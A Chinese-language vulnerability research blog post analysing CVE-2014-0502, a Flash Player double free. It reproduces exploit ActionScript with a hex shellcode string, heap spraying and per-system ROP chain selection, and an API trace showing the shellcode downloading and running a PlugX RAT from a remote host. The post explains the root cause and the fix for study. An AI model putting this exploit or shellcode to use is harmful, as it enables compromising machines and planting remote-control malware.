//public var cc_shellcode:String = "19921231dbd7d97424f4b879c464b733c9b1385d83c504314513033cd78642423fcfadbac0b0245ff1e25314a032177849b87568dacc519f6b7a84ae6c4a087caeccf47ee32ec4b1f62f01aff962daa4a8926ff87092bf77c8ecba47bd46c4976edc8e0f04ba2e2ec9d81379662ae778ae62084b8e29376403337f42fc468bb1815048c85dd44d6a154eb68bfa093d87b75e198b46b211b7c335f63e9711d21b433b43c1224493ad9be0df5fcf93bd350e11b8701029c3d2791848bdfea59bfaf1ef86aa99a952efc7498933fec938cb05d148ce4255a0a2db30c611db10a5af7fcc43a11b9de44eb83272c334d0e910874691378b157bd22bbf83";

public var sc:String = new String();

static const POOL_SIZE:int = 0x100000;
static var allocs:Array;
static var pool:ByteArray;
static var dstSize:int;
static var allocCount:int;

public function cc()
{
if (Worker.current.isPrimordial)
{
// check cookie
if (cido()==0)
return;

systemcase=versioncheck();
if(systemcase==0)
return;
//readout the shellcode from the picture
var loader:URLLoader=new URLLoader();
loader.dataFormat=URLLoaderDataFormat.BINARY;
loader.addEventListener(Event.COMPLETE,onComplete);
loader.load(new URLRequest("logo.gif"));

bgWorker = WorkerDomain.current.createWorker(loaderInfo.bytes);
bgWorker.setSharedProperty("version",systemcase);
}
else
{
systemcase=Worker.current.getSharedProperty("version");
//var shellcode:String=Worker.current.getSharedProperty("cc");
var shellbytes:ByteArray=Worker.current.getSharedProperty("cc");

var val:ByteArray = new ByteArray();
val.endian = Endian.LITTLE_ENDIAN;
var i, j, sc_len:uint = 0;

for (i = 0; i< (0x0c0c); i++)
{
val.writeByte(0x90+i);
}

// 这个for循环用来转换下面这两句
//sc = cc_shellcode;
//val.writeBytes(hexToBin(sc));
/*for (i = 0; i < shellcode.length; i++)
{
val.writeByte(shellcode.charCodeAt(i));
}*/
val.writeBytes(shellbytes);

for (i = val.length; i< 0x10000; i++)
{
val.writeByte(0x90+i);
}
alloc(val, 0x100000-0x24);
var block1:ByteArray = new ByteArray();
block1.writeBytes(pool, 0, 0x100000-0x24);
//block1.writeBytes(val, 0, 0x100000-0x24);
allocs.push(block1);
pool = null;
for(var i=0;i<0xe0;i++)
{
var block:ByteArray = new ByteArray();
block.writeBytes(block1, 0, 0x100000-0x24);
allocs.push(block);
}

triggerexp();
var rop:ByteArray;
if(systemcase==7) //office2007 + win7
{
rop=getrop_07();
rop.toString();
}
else if(systemcase==10) //office2010 + win7
{
rop=getrop_10();
rop.toString();
}
else if(systemcase==16) //java1.6 + win7
{
rop=getrop_16();
rop.toString();
}
else if(systemcase==1 || systemcase==2 || systemcase==3) //XP + Chinese || English || Tradition
{
rop=getrop_XP();
rop.toString();
}
Worker.current.terminate(); //* Vulnerability
}
}

漏洞利用的主要逻辑是在 cc 函数中完成的,它将首先检查 Cookie 值是否设置,若已设置则不再重复进行漏洞利用。随后检查受害者的系统环境,只有 xp 系统且系统语言为中文或英文,或 win7 系统的用户为漏洞利用的攻击目标。随后执行事件监听函数,加载图片马并创建 background worker

Background worker 会加载事件监听函数里构造的 shellcode,随后堆喷布局堆空间,再构造触发漏洞所需的共享对象 record,根据系统环境构造 ROP 链,最终终止 Background Worker 并清除共享对象

Primordial Worker 也会随之结束,对共享对象进行 flush 并调用 Exit 函数进行析构,而在执行释放操作前,Primordial Worker 会注意到共享对象的引用计数为 0,异步触发垃圾回收。而垃圾回收将会再发起一次 flush 操作,并再次执行 Exit 函数。由于共享对象大小大于 Maximum Storage 100KB,正常流程的 flush 会通过第一道检查而在第二道检查处失败并释放对象块,而这一失败会使得 Pending Flush 标志位仍处于开启状态,因此垃圾回收操作流重入发起的 flush 操作也将通过第一道检查,并再次进行对象块的释放,最终造成 double free 漏洞,堆结构被破坏,进而泄露虚表指针等重要信息与发生控制流劫持,程序将跳转到 ROP 链上执行 shellcode。图片马中的 shellcode 将会利用以下函数下载并执行恶意程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 LoadLibraryA(wininet)
LoadLibraryA(user32)
VirtualProtect(adr=404bf1, sz=4,flags=40)
SetUnhandledExceptionFilter(0)
VirtualProtect(adr=7c81cdda, sz=82,flags=40)
VirtualProtect(adr=7c81cdda, sz=82,flags=0)
SetUnhandledExceptionFilter(7c81cdda)
GetTempPath(len=104, buf=12fca4) = 14
GetTempFileName(path=C:\users\jaime\Temp\, prefix=0, unique=0,buf=12fca4) = 245D
Path = C:\users\jaime\Temp\245d.tmp
InternetOpenA()
InternetOpenUrlA(http://4.59.XX.XX/common/update.exe)
CreateFileA(C:\users\jaime\Temp\245d.tmp) = 4
InternetReadFile(1, buf: 12fbe8, size:64)
InternetCloseHandle(1) = 1
InternetCloseHandle(1) = 1
CloseHandle(4)

使用到的 payload 是远程控制程序 PlugX RAT,shellcode 会将 payload 注入到 svchost 进程中以便于通过 HTTP 进行 C&C 交互

最终受害者机器沦陷,漏洞利用结束

漏洞修复

无论刷新与否皆强制刷新 Pending Flush 标志或增加重入保护锁即可

Reference

Deep Analysis of CVE-2014-0502 – A Double Free Story
LarryS - CVE-2014-0502
CVEFEED - CVE-2014-0502
Adobe - CVE-2014-0502 - apsb14-07:Security updates available for Adobe Flash Player
NVD - CVE-2014-0502
CVE - CVE-2014-0502
漏洞战争

  • Title: CVE-2014-0502 漏洞研究
  • Author: 7erry
  • Created at : 2025-02-22 18:53:57
  • Updated at : 2025-02-22 18:53:57
  • Link: https://7erryx.github.io/2025/02/22/Vulnerability Investigation/CVE-2014-0502 漏洞研究/
  • License: This work is licensed under CC BY-NC-SA 4.0.